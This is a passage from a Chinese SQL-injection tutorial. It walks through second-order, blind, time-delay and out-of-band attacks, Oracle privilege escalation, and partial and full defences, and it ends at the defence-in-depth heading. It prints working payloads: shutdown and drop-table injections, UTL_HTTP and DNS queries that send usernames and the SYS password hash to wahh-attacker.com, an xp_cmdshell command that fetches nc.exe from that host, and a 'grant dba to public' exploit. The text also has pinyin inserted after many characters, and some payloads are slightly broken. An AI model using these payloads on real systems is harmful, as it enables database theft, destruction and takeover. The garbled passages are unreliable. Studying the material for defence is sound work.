回到前面那個(gè)允許用戶自我注冊(cè)并且在一個(gè)INSERT語(yǔ)句中存在SQL注入漏洞的應(yīng)用程序,假設(shè)開發(fā)者將出現(xiàn)在用戶數(shù)據(jù)中的所有單引號(hào)配對(duì),嘗試修復(fù)這個(gè)漏洞。注冊(cè)用戶名foo'來(lái)建立如下查詢,它不會(huì)在數(shù)據(jù)庫(kù)中造成問(wèn)題:

Insert INTO users(username,password,ID,privs) VALUES ('foo''','secret',2248,1)

現(xiàn)在一切正常。然而,假設(shè)應(yīng)用程序還執(zhí)行密碼修改功能,那么只有通過(guò)驗(yàn)證的用戶才能夠訪問(wèn)這項(xiàng)功能,而且為了加強(qiáng)保護(hù),應(yīng)用程序要求用戶提交原始密碼。然后應(yīng)用程序從數(shù)據(jù)庫(kù)中提取用戶的當(dāng)前密碼,并對(duì)兩個(gè)字符串進(jìn)行比較,核對(duì)用戶提供的密碼是否正確。要完成核對(duì)任務(wù),它首先要從數(shù)據(jù)庫(kù)提取用戶的用戶名,然后建立如下查詢:

SELECT password FROM users WHERE username = 'foo''

因?yàn)楸4嬖跀?shù)據(jù)庫(kù)中的用戶名是字面量字符串foo',當(dāng)應(yīng)用程序提出訪問(wèn)要求時(shí),數(shù)據(jù)庫(kù)即返回這個(gè)值;只有在字符串被傳送給數(shù)據(jù)庫(kù)時(shí)才使用配對(duì)的轉(zhuǎn)義序列。因此,當(dāng)應(yīng)用程序重復(fù)使用這個(gè)字符串并將它嵌入到另一個(gè)查詢中時(shí),就會(huì)造成一個(gè)SQL注入漏洞,用戶最初的惡意輸入被嵌入到查詢中。當(dāng)用戶嘗試修改密碼時(shí),應(yīng)用程序返回以下消息,揭示了上述缺陷:Unclosed quotation mark before the character string 'foo

要利用這種漏洞,攻擊者只需注冊(cè)一個(gè)包含專門設(shè)計(jì)的輸入用戶名,然后嘗試修改密碼。例如,如果注冊(cè)如下用戶名:

'or 1 in (select password from users where username='admin')--

注冊(cè)步驟將會(huì)被應(yīng)用程序安全處理。如果攻擊者嘗試修改密碼,它注入的查詢就會(huì)執(zhí)行,導(dǎo)致成以下消息,泄露管理員的密碼:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'fme69' to a column of data type int.

攻擊者已經(jīng)成功避開旨在阻止SQL注入攻擊的輸入確認(rèn),現(xiàn)在它能夠在數(shù)據(jù)庫(kù)中執(zhí)行任意查詢并獲得查詢結(jié)果。

?

I。高級(jí)利用

到現(xiàn)在為止,我們描述的所有攻擊中,有一些現(xiàn)成的方法可幫助從數(shù)據(jù)庫(kù)中提取有用的數(shù)據(jù),例如,通過(guò)執(zhí)行UNION攻擊或在錯(cuò)誤消息中返回?cái)?shù)據(jù)。隨著人們防御SQL注入威脅意識(shí)的增強(qiáng),這種情形已經(jīng)逐漸消失。如今,即使遇到SQL注入漏洞,攻擊者仍然無(wú)法直接獲取注入的查詢結(jié)果,這種情況日益增多。我們將討論幾種出現(xiàn)這種問(wèn)題的情況,以及如何處理這些情況。

應(yīng)用程序所有者應(yīng)意識(shí)到,并非所有攻擊都旨在盜竊敏感數(shù)據(jù)。一些攻擊可能更具破壞性,例如,僅僅提交12個(gè)字符串的輸入,攻擊者就能夠使用關(guān)閉命令(shutdown command)關(guān)閉一個(gè)MS-SQL數(shù)據(jù)庫(kù):'shutdown--

攻擊這還可以注入惡意命令,以下面這些命令刪除一些數(shù)據(jù)庫(kù)表:

'drop table users--

'drop table accounts--

'drop table customers--

?

·1。獲取數(shù)字?jǐn)?shù)據(jù)

如果包含單引號(hào)的輸入得到正確處理,那么應(yīng)用程序中的字符串字段就不再易于受到SQL注入攻擊。但是,數(shù)字?jǐn)?shù)據(jù)字段可能仍然存在漏洞;在這種字段中,用戶輸入并不包含在單引號(hào)中。這時(shí)攻擊者只需通過(guò)應(yīng)用程序的數(shù)字響應(yīng)(numeric response),才能獲得注入的查詢結(jié)果。

在這種情況下,攻擊者需要做的是獲取數(shù)字形式的有用數(shù)據(jù),對(duì)注入的查詢的結(jié)果進(jìn)行處理。他們可以使用以下兩個(gè)關(guān)鍵函數(shù):

ASCII,它返回輸入字符的ASCII代碼;

SUBSTRING(或ORACLE中的SUBSTR),它返回輸入的子字符串。

這些函數(shù)可結(jié)合在一起使用,以數(shù)字形式從一個(gè)字符串中提取單獨(dú)一個(gè)字符。例如:

SUBSTRING('Admin',1,1)返回A

ASCII('A')返回65

因此ASCII(SUBSTR('Admin',1,1))返回65

使用這兩個(gè)函數(shù),可以系統(tǒng)地將一個(gè)有用的字符串分割成單個(gè)的字符,并以數(shù)字形式分別返回每一個(gè)字符。在自定義攻擊中,可以利用這種技巧,以一次一個(gè)字節(jié)的速度。迅速獲得并重建大量基于字符串的數(shù)據(jù)。

我們?cè)?jīng)遇到上述問(wèn)題的另一種形式,即應(yīng)用程序返回的并不是真正的數(shù)字,而是一些以該數(shù)字為標(biāo)識(shí)符的資源。應(yīng)用程序根據(jù)用戶的輸入執(zhí)行一個(gè)SQL查詢,獲得一個(gè)文檔的數(shù)字標(biāo)識(shí)符,然后將文檔的內(nèi)容返回給用戶。在這種情況下,攻擊者可以先獲得標(biāo)識(shí)符在相關(guān)數(shù)字范圍內(nèi)的每一份文檔的備份,然后在文檔內(nèi)容與標(biāo)識(shí)符之間建立映射。接下來(lái),當(dāng)實(shí)施前面描述的攻擊時(shí),攻擊者就可以參考這個(gè)映射確定應(yīng)用程序返回的每個(gè)文檔標(biāo)識(shí)符,因而得到他們成功提取的字符的ASCII值。

http://sqlzoo.net/howto/source/z.dir/i08fun.xml

?

·2。使用帶外通道

在許多SQL注入攻擊中,應(yīng)用程序并不在用戶的瀏覽器中顯示查詢的結(jié)果,也不返回?cái)?shù)據(jù)庫(kù)生成的任何錯(cuò)誤消息。很明顯,在這種情況下,即使一個(gè)SQL注入漏洞確實(shí)存在,攻擊者也無(wú)法對(duì)其加以利用,提取任意數(shù)據(jù)或執(zhí)行任何其他操作。但是,這種想法是錯(cuò)誤的,即使出現(xiàn)這種情況,仍然可以使用各種技巧獲取數(shù)據(jù)、確認(rèn)其他惡意操作是否取的成功。

許多時(shí)候,可以注入任意一個(gè)查詢,但卻無(wú)法獲得查詢結(jié)果?;氐侥莻€(gè)易受攻擊的登錄表單,它的用戶名和密碼字段易于遭受SQL注入:

SELECT * FROM users Where username = 'marcus' and password = 'secret'

除了修改查詢邏輯以避開登錄外,還可以注入一個(gè)完全的子查詢,使用字符串連接符把這個(gè)子查詢的結(jié)果與控制的數(shù)據(jù)項(xiàng)連接起來(lái)。例如:

foo'||(select 1 from dual where (select username from all_users where username = 'DBSNMP') = 'DBSNMP')--

應(yīng)用程序?qū)?zhí)行以下查詢:

SELECT * FROM users WHERE username = 'foo'||(SELECT 1 From dual Where (Select username From all_users where username = 'DBSNMP') = 'DBSNMP')

數(shù)據(jù)庫(kù)將執(zhí)行注入的任何子查詢,并將它的結(jié)果附加在foo之后,然后查找所生成用戶名的資料。當(dāng)然,這種登錄不會(huì)成功,但諸如的查詢將得以執(zhí)行。在應(yīng)用程序響應(yīng)中收到的只是標(biāo)準(zhǔn)的登錄失敗消息。現(xiàn)在需要想辦法獲得注入查詢的結(jié)果。

如果能對(duì)MS-SQL數(shù)據(jù)庫(kù)使用批量查詢(batch query),這時(shí)就會(huì)出現(xiàn)另一種相似的情形。批量查詢特別有用,因?yàn)樗鼈冊(cè)试S執(zhí)行一個(gè)完全的語(yǔ)句,在這個(gè)過(guò)程中,滲透測(cè)試員擁有全部的控制權(quán),可以使用另外的SQL語(yǔ)句并針對(duì)一個(gè)不同的表進(jìn)行查詢。但是,因?yàn)榕坎樵儓?zhí)行查詢的方式比較特殊,我們無(wú)法直接獲得獲得注入查詢的執(zhí)行結(jié)果,同樣需要想辦法獲得注入查詢的結(jié)果。

在這種情況下,一種獲取數(shù)據(jù)庫(kù)的有效方法是使用一個(gè)帶外通道(out-of-band channel)。已經(jīng)能夠在數(shù)據(jù)庫(kù)中執(zhí)行任意SQL語(yǔ)句后,滲透測(cè)試員往往可以利用數(shù)據(jù)庫(kù)的一些內(nèi)置功能在數(shù)據(jù)庫(kù)與自己的計(jì)算機(jī)之間建立網(wǎng)絡(luò)連接,通過(guò)它傳送從數(shù)據(jù)庫(kù)中收集到的任何數(shù)據(jù)。

建立適當(dāng)網(wǎng)絡(luò)連接的方法依不同的數(shù)據(jù)庫(kù)而定,而且取決于應(yīng)用程序訪問(wèn)數(shù)據(jù)庫(kù)所使用的用戶權(quán)限。下面將描述一些使用每種數(shù)據(jù)庫(kù)時(shí)最常用、最有效的技巧。

Oracle:

Oracle中包含大量低權(quán)限用戶可訪問(wèn)的默認(rèn)功能,可以使用它們建立帶外連接。

UTL_HTTP包可用于向其他主機(jī)提出任意HTTP請(qǐng)求。UTL_HTTP包含豐富的功能,并支持代理服務(wù)器、cookie、重定向和驗(yàn)證。這意味著,如果攻擊者已經(jīng)攻破一個(gè)受到強(qiáng)大保護(hù)的企業(yè)內(nèi)部網(wǎng)絡(luò)中的數(shù)據(jù)庫(kù),他就能夠利用企業(yè)代理服務(wù)器與因特網(wǎng)建立外部鏈接。

在下面的示例中,UTL_HTTP被用于向攻擊者控制的服務(wù)器傳送注入查詢的結(jié)果。

https://wahh-app.com/employees.asp?empno=7521'||UTL_HTTP.request('wahh-attacker.com:80/'||(select%20username%20from%20all_users%20where%20rownum%3d1))--

這個(gè)URL促使UTL_HTTP提出一個(gè)Get請(qǐng)求,要求訪問(wèn)包含all_users表中第一個(gè)用戶名的URL。攻擊者只需在wahh-attacker.com安裝一個(gè)netcat就可以收到結(jié)果。

C:\>nc -nlp 80

Get /SYS HTTP/1.1

HOST:wahh-attacker.com

Connection:close

?

https://wahh-app.com/employees.asp?empno=7521'||UTL_INADDR.GET_HOST_NAME((SELECT%20PASSWORD%20FROM%20DBA_USERS%20WHERE%20USERNAME='SYS')||'wahh-attacker.com')

它向包含SYS用戶的密碼散列(password hash)的wahh-attacker.com名稱服務(wù)器發(fā)出下面這個(gè)DNS查詢。

DCB748A5BC5390F2.wahh-attacker.com

UTL_SMTP包可用于發(fā)送電子郵件。在外出的電子郵件中發(fā)送這個(gè)包,即可獲得大量從數(shù)據(jù)庫(kù)中截取的數(shù)據(jù):

UTL_TCP包可用于打開任意TCP套接字(TCP socket),以發(fā)送和接收網(wǎng)絡(luò)數(shù)據(jù)。

?

利用操作系統(tǒng):

?

·3。利用推論:條件式響應(yīng)

造成帶外通道不可用的原因很多。大多情況下,是因?yàn)閿?shù)據(jù)庫(kù)處在一個(gè)受保護(hù)的網(wǎng)絡(luò)中,它的邊界防火墻禁止任何與因特網(wǎng)或其他網(wǎng)絡(luò)的帶外連接。這時(shí),只能通過(guò)Web應(yīng)用程序注入點(diǎn)(injection point)訪問(wèn)數(shù)據(jù)庫(kù)。

回到那個(gè)可注入用戶名和密碼字段以執(zhí)行任意查詢的登錄功能:

SELECT * FROM users WHERE username = 'marcus' and password = 'secret'

假如還沒(méi)有找到將注入查詢的結(jié)果返回給瀏覽器的方法。但是已經(jīng)知道如何使用SQL注入改變應(yīng)用程序的行為。例如,提交下面兩個(gè)輸入將得到截然不同的結(jié)果:

admin' and 1=1--

admin' and 1=2--

在第一種情況中,應(yīng)用程序?qū)⒃试S攻擊者以管理員的身份登錄。在第二種情況中,登錄嘗試將會(huì)失敗,因?yàn)?=2這個(gè)條件總為假??梢岳眠@種應(yīng)用程序行為控制推斷數(shù)據(jù)庫(kù)中任意條件的真假。例如,使用前面描述的ASCII和SUBSTRING函數(shù),攻擊者可以測(cè)試截獲字符串中的一個(gè)字符是否為特定的值。例如,提交下面這段輸入將允許攻擊者以管理員身份登錄,因?yàn)榻?jīng)測(cè)試條件為真:

admin' and ASCII(SUBSTRING('Admin',1,1))=65--

但是,提交下面的輸入,登錄不會(huì)取得成功,因?yàn)榻?jīng)測(cè)試條件為假:

admin' and ASCII(SUBSTRING('Admin',1,1))=66--

提交大量這類查詢,循環(huán)每個(gè)字符的所有可能的ASCII編碼,直到出現(xiàn)一個(gè)“觸點(diǎn)”,就能夠以每次一個(gè)字節(jié)的速度,提取出整個(gè)字符串。

?

····1.工具介紹:AbSinthe

Absinthe并非一種可簡(jiǎn)單上手的工具,要有效的使用它,必須完全了解所利用的SQL注入漏洞,并且能夠提交專門設(shè)計(jì)的輸入,以某種可探測(cè)的方式影響應(yīng)用程序的響應(yīng)。

第一步:根據(jù)實(shí)施攻擊所需的全部信息對(duì)Absinthe進(jìn)行配置,包括以下幾項(xiàng)。

???? 1.URL和請(qǐng)求方法

???? 2.目標(biāo)數(shù)據(jù)庫(kù)的類型,以便一旦發(fā)動(dòng)攻擊,Absinthe能夠獲得相關(guān)元信息。

???? 3.請(qǐng)求參數(shù),以及是否每個(gè)參數(shù)都可被注入

???? 4.任何調(diào)整攻擊所需的其他選項(xiàng)。如有必要,Absinthe可在每個(gè)注入的有效載荷后附加一個(gè)指定的字符串,并可以添加注釋字符,以確保修改后生成的查詢符合語(yǔ)法。

第二步:?jiǎn)螕鬒nitialize Injection選項(xiàng)。這時(shí),Absinthe將發(fā)布兩個(gè)測(cè)試請(qǐng)求,旨在觸發(fā)不同的應(yīng)用程序響應(yīng)。如前面的攻擊所述,Absinthe注入下面兩個(gè)有效載荷:

'and 1=1--

'and 1=2--

只要已經(jīng)正確配置了Absinthe,這兩個(gè)測(cè)試請(qǐng)求就應(yīng)導(dǎo)致應(yīng)用程序作出不同的響應(yīng),證實(shí)已經(jīng)為利用漏洞做好準(zhǔn)備。

第一次連接測(cè)試能否在應(yīng)用程序中成功生成不同的響應(yīng),取決于注入查詢的語(yǔ)法的復(fù)雜程度。如果測(cè)試失敗,那么需要根據(jù)在手動(dòng)探查應(yīng)用程序時(shí)獲得知識(shí),修改Absinthe的請(qǐng)求生成的查詢語(yǔ)法。要修改Absinthe有效載荷之后的語(yǔ)法,可以更改Append text to end of query選項(xiàng);要修改有效載荷之前的語(yǔ)法,可以更改相關(guān)參數(shù)的默認(rèn)值。不斷進(jìn)行試驗(yàn),直到成功完成初始化注入測(cè)試。

完成對(duì)Absinthe的配置后就可以實(shí)施攻擊。首先,進(jìn)入DB Schema選項(xiàng)卡選擇一個(gè)或幾個(gè)有效的操作:獲取用戶名、加載表信息和加載字段信息。

Absinthe用大量其他條件替代測(cè)試條件1=1,旨在查明數(shù)據(jù)庫(kù)的內(nèi)容并從獲取任意數(shù)據(jù)。

例如,如果以O(shè)racle平臺(tái)為攻擊對(duì)象,那么Absinthe可通過(guò)注入以下值,查明當(dāng)前數(shù)據(jù)庫(kù)用戶名的第一個(gè)字符:

admin' and (SELECT ASCII(SUBSTR(a.username,1,1)) From User_users a where A.USERNAME = USER) = 65

如果第一個(gè)字符為A,這個(gè)條件為真。因?yàn)閼?yīng)用程序的響應(yīng)等同于最初的1=1響應(yīng),所以Absinthe將檢測(cè)到這一點(diǎn)。通過(guò)自動(dòng)執(zhí)行大量查詢,Absinthe將獲得整個(gè)字符串。

實(shí)際上,Absinthe不用循環(huán)使用每一個(gè)可能的字符查找“觸點(diǎn)”,相反,它使用一種更加復(fù)雜的二進(jìn)制速查技巧,顯著減少所需請(qǐng)求的數(shù)量。這個(gè)技巧首先測(cè)試被查詢的字符是否大于X(全部允許值的中間值),如果該字符大于X,就對(duì)1.5X進(jìn)行重復(fù)測(cè)試;否則,就對(duì)0.5X進(jìn)行重復(fù)測(cè)試。例如:

admin' and (Select ASCII(SUBSTR(a.username,1,1)) From user_users a where A.USERNAME = user) > 19443--

admin' and (Select ASCII(SUBSTR(a.username,1,1)) From user_users a where A.USERNAME = user) > 9722--

etc...

?

如果Absinthe已經(jīng)收集到需要的全部信息,甚至可以進(jìn)入Dowload Records選項(xiàng)卡,以XML格式輸出收集到的信息。

?

·2.引發(fā)條件性錯(cuò)誤

這種技巧利用了數(shù)據(jù)庫(kù)在求條件語(yǔ)句的值時(shí)表現(xiàn)出得一個(gè)行為特點(diǎn):數(shù)據(jù)庫(kù)將根據(jù)其他部分的情況,僅對(duì)那些需要求值的語(yǔ)法部分求值。包含WHERE字句的SELECT語(yǔ)句就是表現(xiàn)出這種行為的一個(gè)典型示例:

SELECT X FROM Y WHERE C

這條語(yǔ)句使得數(shù)據(jù)庫(kù)訪問(wèn)表Y的每一行,評(píng)估條件C;如果條件C為真,返回X。如果條件C永遠(yuǎn)為假,永遠(yuǎn)不求出表達(dá)式X的值。

可以找到一個(gè)語(yǔ)法有效但如果求值就會(huì)生成錯(cuò)誤的表達(dá)式X,對(duì)這種行為加以利用。在ORACLE與MS-SQL中,被零除計(jì)算(divide-by-zero computation)就是這樣的表達(dá)式,如1/0.如果條件C為真,那么求表達(dá)式X的值,這就造成一個(gè)數(shù)據(jù)庫(kù)錯(cuò)誤。如果條件C為假,就不會(huì)發(fā)生錯(cuò)誤。因此,可以通過(guò)是否發(fā)生錯(cuò)誤測(cè)試任意一個(gè)條件C。

下面的查詢就是一個(gè)典型的示例,它查詢默認(rèn)的Oracle用戶DBSNMP是否存在,如果該用戶存在,就會(huì)求表達(dá)式1/0的值,造成一個(gè)錯(cuò)誤。

SELECT 1/0 FROM dual WHERE (SELECT username From all_users Where username = 'DBSNMP') = 'DBSNMP'

下面的查詢檢查虛構(gòu)用戶AAAAAA是否存在,因?yàn)閃HERE條件永遠(yuǎn)為假,所以不求表達(dá)式1/0的值,因而不會(huì)發(fā)生錯(cuò)誤。

SELECT 1/0 FROM dual WHERE (SELECT username FROM all_users WHERE username = 'AAAAAA') = 'AAAAAA'

?

這種技巧的目的是在應(yīng)用程序中引發(fā)一個(gè)條件式響應(yīng),即使注入的查詢不會(huì)給應(yīng)用程序邏輯或數(shù)據(jù)處理造成影響。

?

·3.使用時(shí)間延遲

此方法是根據(jù)攻擊者指定的條件造成時(shí)間延遲的查詢。攻擊者可以提交他設(shè)計(jì)的查詢,然后監(jiān)控服務(wù)器作出響應(yīng)所花的時(shí)間。如果發(fā)生延遲,攻擊者可推斷條件為真。即使在兩種情況下應(yīng)用程序的響應(yīng)完全相同,攻擊者仍然可根據(jù)是否存在時(shí)間延遲從數(shù)據(jù)庫(kù)中提取依比特?cái)?shù)據(jù)。通過(guò)大量執(zhí)行這類查詢,攻擊者就能夠系統(tǒng)的從數(shù)據(jù)庫(kù)中提取任何復(fù)雜的數(shù)據(jù),每次一比特。

這種引發(fā)適當(dāng)時(shí)間延遲的方法的精確性取決于所使用的目標(biāo)數(shù)據(jù)庫(kù)。MS-SQL中包含一個(gè)內(nèi)置的WAITFOR命令,可用于引起一個(gè)指定的時(shí)間延遲。例如,如果當(dāng)前數(shù)據(jù)庫(kù)用戶為SA,下面的查詢將造成5秒鐘的時(shí)間延遲:

If(select user) = 'sa' waitfor delay '0:0:5'

使用這個(gè)命令,攻擊者就能夠以各種方式提取任何信息,一種方法是利用前面已經(jīng)描述的、在應(yīng)用程序返回條件性響應(yīng)時(shí)用到的相同技巧?,F(xiàn)在,如果滿足一個(gè)特殊條件,注入的查詢就不在觸發(fā)一個(gè)不同的應(yīng)用程序響應(yīng),相反,它引發(fā)一次時(shí)間延遲。例如,下面的第二個(gè)查詢將引發(fā)一次時(shí)間延遲,表示被截獲字符串的第一個(gè)字母為A。

if ASCII(SUBSTRING('Admin',1,1)) = waitfor delay '0:0:5'

if ASCII(SUBSTRING('Admin',1,1)) = 65 waitfor delay '0:0:5'

和前面一樣,攻擊者可以循環(huán)使用每個(gè)字符的所有可能值,直到發(fā)生時(shí)間延遲。另外,可以通過(guò)減少所需請(qǐng)求的數(shù)量,提高攻擊的效率。在介紹Absinthe時(shí)描述的另一個(gè)技巧,是將每個(gè)字節(jié)的數(shù)據(jù)劃分成比特,并在每次查詢中獲得一比特的數(shù)據(jù)。POWER命令和按位“與”運(yùn)算符(bitwise and operator)&可用于在逐比特的基礎(chǔ)上指定條件。例如,以下查詢測(cè)試被截獲數(shù)據(jù)的第一個(gè)字節(jié)的第一比特,如果其值為1,終止查詢:

if (ASCII(SUBSTRING('Admin',1,1)) & (POWER(2,0))) > 0 waitfor delay '0:0:5'

if (ASCII(SUBSTRING('Admin',1,1)) & (POWER(2,1))) > 0 waitfor delay '0:0:5'

如前所述,這種引發(fā)時(shí)間延遲方法的準(zhǔn)確性在很大程度上取決于所使用的數(shù)據(jù)庫(kù)。其他數(shù)據(jù)庫(kù)并沒(méi)有內(nèi)置的時(shí)間延遲命令;但是,還是可以使用其他技巧造成時(shí)間延遲。

在MYSQL中,可以使用基準(zhǔn)函數(shù)(benchmark function)重復(fù)執(zhí)行一個(gè)特定的操作。指示數(shù)據(jù)庫(kù)執(zhí)行一個(gè)處理器密集型操作,如SHA-1散列,大量的操作次數(shù)將造成一次可測(cè)量的時(shí)間延遲。例如:

Select if(user() like 'root@%',benchmark(50000,shal('test')),'false')

?

在ORACLE中,一種方法是使用UTL_HTTP連接一個(gè)不存在的服務(wù)器,造成一次操作超時(shí)。這回使得數(shù)據(jù)庫(kù)嘗試與指定的服務(wù)器建立連接,并最終造成超時(shí)。例如:

SELECT 'a'||UTL_HTTP.Request('Http://madeupserver.com') from dual

...delay...

ORA-29273:HTTP Request failed

ORA-06512:at "SYS.UTL_HTTP",Line 1556

ORA-125:Connect failed because target host or object does not exist

可以利用這種行為根據(jù)指定的某個(gè)條件造成時(shí)間延遲。例如,如果默認(rèn)的Oracle賬戶SBSNMP存在,下面的查詢將會(huì)造成一次超時(shí):

SELECT 'a'||UTL_HTTP.Request('http://madeupserver.com') From dual WHERE (select username From all_users Where username = 'DBSNMP') = 'DBSNMP'

如前所述,在Oracle和MySQL數(shù)據(jù)庫(kù)中,都可以使用SUBSTR(ING)和ASCII函數(shù)每次一字節(jié)的獲取任意信息。

?

我們已經(jīng)說(shuō)明了如何使用時(shí)間延遲來(lái)獲取有用的信息,然而,當(dāng)對(duì)應(yīng)用程序進(jìn)行初步探查、檢測(cè)SQL注入漏洞時(shí),時(shí)間延遲技巧也可能非常有用。在一些完全盲目的SQL注入攻擊中,瀏覽器中不會(huì)顯示查詢結(jié)果,所有錯(cuò)誤都被應(yīng)用程序以隱含的方式處理,使用提交專門設(shè)計(jì)的輸入的標(biāo)準(zhǔn)技巧可能很難檢測(cè)出漏洞。這時(shí),使用時(shí)間延遲是在初步探查過(guò)程中檢測(cè)一個(gè)漏洞是否存在最有效方法。例如,如果后端數(shù)據(jù)庫(kù)為MS-SQL,那么可以將下面的兩個(gè)字符串輪流注入每個(gè)請(qǐng)求參數(shù)中,并監(jiān)控應(yīng)用程序響應(yīng)請(qǐng)求所用的時(shí)間,從而確定所有漏洞:

';waitfor delay '0:30:0'--

1;waitfor delay '0:30:0'--

?

J。SQL注入之外:擴(kuò)大數(shù)據(jù)庫(kù)攻擊范圍

?

ORACLE:

人們已在Oracle數(shù)據(jù)庫(kù)軟件中發(fā)現(xiàn)了大量安全漏洞。如果找到一個(gè)允許執(zhí)行任意查詢的SQL注入漏洞,那么就可以利用這種漏洞提升到數(shù)據(jù)管理員權(quán)限

Oracle包含許多可在數(shù)據(jù)庫(kù)管理員權(quán)限下運(yùn)行的內(nèi)置存儲(chǔ)過(guò)程,并已發(fā)現(xiàn)在這些存儲(chǔ)過(guò)程中存在的SQL注入漏洞。攻擊者可以利用這個(gè)缺陷,在易受攻擊的字段中注入grant DBA to public查詢來(lái)提升權(quán)限。

select sys.DBMS_EXPLORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('INDX','SCH','TEXTINDEXMETHODS".ODCIIndexUtilCleanup(:p1);execute immediate ''declare

pragma autonomous_transation;begin execute immediate ''''grant dba to public'''';end;'';end;--','CTXSYS',1,'1',0) from dual

?

這種類型的攻擊可通過(guò)利用Web應(yīng)用程序中的SQL注入漏洞,在易受攻擊的參數(shù)中注入函數(shù)來(lái)實(shí)現(xiàn)。

許多其他類型的缺陷也影響到ORACLE的內(nèi)置組件。一個(gè)示例是CTXSYS.DRILOAD.VALIDATE_STMT函數(shù)。這個(gè)函數(shù)的目的是檢查一個(gè)指定的字符串中是否包含一個(gè)有效的SQL語(yǔ)句。然而,在早期版本的Oracle中,在確定被提交的語(yǔ)句的過(guò)程中,這個(gè)函數(shù)實(shí)際上執(zhí)行了該語(yǔ)句。這意味著任何用戶只需向這個(gè)函數(shù)提交一個(gè)語(yǔ)句,就能夠作為數(shù)據(jù)庫(kù)管理員執(zhí)行該語(yǔ)句。例如:exec CTXSYS.DRILOAD.VALIDATE_STMT('GRANT DBA TO PUBLIC')

除這些漏洞外,Oracle還含有大量默認(rèn)功能,這些功能可被低權(quán)限用戶訪問(wèn),并可用于執(zhí)行各種敏感操作,如建立網(wǎng)絡(luò)連接或訪問(wèn)文件系統(tǒng)。除了前面描述的用于建立帶外連接的功能強(qiáng)大的包以外,UTL_FILE包可用于在數(shù)據(jù)庫(kù)服務(wù)器文件系統(tǒng)上讀取和寫入文件。

?

K。SQL語(yǔ)法與錯(cuò)誤參考

1.SQL語(yǔ)法

ORACLE:

ASCII和SUBSTRING:ASCII('A')等于65

????????????????? SUBSTR('ABCDE',2,3)等于BCD

?

獲取當(dāng)前數(shù)據(jù)庫(kù)用戶:Select Sys.login_user from dual

??????????????????? SELECT user From dual

??????????????????? SYS_CONTEXT('USERENV','SESSION_USER')

?

引起時(shí)間延遲:UTL_HTTP.Request('http://madeupserver.com')

獲取數(shù)據(jù)庫(kù)版本字符串:Select banner from v$version

獲取當(dāng)前數(shù)據(jù)庫(kù):SYS_CONTEXT('USERENV','DB_NAME')

獲取當(dāng)前用戶的權(quán)限:SELECT * from session_privs

顯示用戶對(duì)象:SELECT Object_name,object_type from user_objects

顯示用戶表:SELECT Object_name,object_type from user_objects Where object_type = 'TABLE'

顯示用戶訪問(wèn)的所有表:SELECT table_name from all_tables

顯示表foo的欄名稱:Select column_name,name from user_tab_columns where table_name = 'FOO'(如果目標(biāo)數(shù)據(jù)庫(kù)不為當(dāng)前應(yīng)用程序用戶所有,使用ALL_tab_columns表)

L。防止SQL注入

部分有效的防御措施

·1.單引號(hào)控制

由于單引號(hào)在SQL注入漏洞中占有突出地位,防御這種攻擊的一種常用方法,就是將用戶輸入中的任何單引號(hào)配對(duì),對(duì)他們進(jìn)行轉(zhuǎn)義。但是下面這兩種情況下,這種方法無(wú)法奏效。

A。用戶提交的數(shù)字?jǐn)?shù)據(jù)內(nèi)置在SQL查詢中。

B。在二階SQL注入攻擊中,最初在插入數(shù)據(jù)庫(kù)中時(shí)已經(jīng)完全轉(zhuǎn)義的數(shù)據(jù)隨后被從數(shù)據(jù)庫(kù)中讀取出來(lái),然后又再次寫入。當(dāng)數(shù)據(jù)被重新使用時(shí),最初被配對(duì)的引號(hào)又恢復(fù)到單引號(hào)形式。

·2.使用存儲(chǔ)過(guò)程完成全部數(shù)據(jù)庫(kù)訪問(wèn)

無(wú)疑,定制的存儲(chǔ)過(guò)程可增強(qiáng)安全性,提高性能;然而,由于兩方面的原因,他們并不能保證防止SQL漏洞。

A。如在使用Oracle的示例中所見(jiàn),編寫存在缺陷的存儲(chǔ)過(guò)程可能在本身的代碼中包含SQL注入漏洞。在存儲(chǔ)過(guò)程中構(gòu)建SQL語(yǔ)句時(shí)也可能出現(xiàn)類似的安全問(wèn)題,使用存儲(chǔ)過(guò)程也無(wú)法防止漏洞產(chǎn)生。

B。即使使用安全可靠的存儲(chǔ)過(guò)程,但如果使用用戶提交的輸入以不安全的方式調(diào)用這個(gè)存儲(chǔ)過(guò)程,頁(yè)仍然可能出現(xiàn)SQL注入漏洞。例如,假設(shè)用戶注冊(cè)功能在一個(gè)存儲(chǔ)過(guò)程中執(zhí)行,該存儲(chǔ)過(guò)程通過(guò)以下方式調(diào)用:

exec sp_RegisterUser 'joe','secret'

這個(gè)語(yǔ)句和一個(gè)簡(jiǎn)單的Insert語(yǔ)句一樣易于受到攻擊。例如,攻擊者可以提交以下密碼:

foo';exec master..xp_cmdshell 'tftp wahh-attacker.com Get nc.exe'--

應(yīng)用程序?qū)?zhí)行以下批量查詢:

exec sp_RegisterUser 'joe','foo';exec master..xp_cmdshell 'tftp wahh-attacker.com GET nc.exe'--'

因此,使用存儲(chǔ)過(guò)程并沒(méi)有作用。

?

·3.參數(shù)化查詢

大多數(shù)數(shù)據(jù)庫(kù)和應(yīng)用程序開發(fā)平臺(tái)都提供API,對(duì)不可信的輸入進(jìn)行安全處理。以防止SQL注入漏洞。參數(shù)化查詢(也叫準(zhǔn)備好的語(yǔ)句)分兩個(gè)步驟建立一個(gè)包含用戶輸入的SQL語(yǔ)句。

(1)應(yīng)用程序制定查詢結(jié)構(gòu),為用戶輸入的每個(gè)數(shù)據(jù)預(yù)留占位符。

(2)應(yīng)用程序制定每個(gè)占位符的內(nèi)容。

至關(guān)重要的是在第二個(gè)步驟中指定的專門設(shè)計(jì)的數(shù)據(jù)無(wú)法破壞在第一個(gè)步驟中指定的查詢結(jié)構(gòu)。因?yàn)椴樵兘Y(jié)構(gòu)已經(jīng)確定,且相關(guān)API對(duì)任何類型的占位符數(shù)據(jù)進(jìn)行安全處理,因此它總被解釋為數(shù)據(jù),而不是語(yǔ)句結(jié)構(gòu)的一部分。

?

使用參數(shù)化查詢可有效防止SQL注入,但還要注意以下三個(gè)重要的:

(1)應(yīng)在每一個(gè)數(shù)據(jù)庫(kù)查詢中使用參數(shù)化查詢

(2)插入查詢中的每一種數(shù)據(jù)都應(yīng)適當(dāng)進(jìn)行參數(shù)化。

(3)參數(shù)占位符不能用于指定查詢中表和欄的名稱。

?

·4 深層防御

